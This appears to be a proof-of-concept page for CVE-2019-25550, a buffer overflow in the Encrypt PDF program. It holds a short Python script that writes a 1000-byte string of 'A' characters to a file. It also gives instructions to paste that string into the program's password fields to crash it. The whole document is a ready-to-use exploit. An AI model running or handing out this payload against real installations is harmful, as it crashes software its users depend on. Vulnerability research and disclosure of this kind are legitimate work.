CVE-2019-25550 Encrypt PDF缓冲区溢出漏洞

import sys # Generate the payload for the buffer overflow # The vulnerability triggers with a buffer of approximately 1000 bytes payload = b"A" * 1000 # Save the payload to a file or print to console # Usage: Copy the output and paste it into the "User Password" or "Master Password" field # in the Encrypt PDF Settings dialog, then import a PDF file. try: with open("poc_payload.txt", "wb") as f: f.write(payload) print("[+] PoC payload generated and saved to poc_payload.txt") print("[+] Paste the content into the password field to trigger the crash.") except Exception as e: print(f"[-] Error: {e}")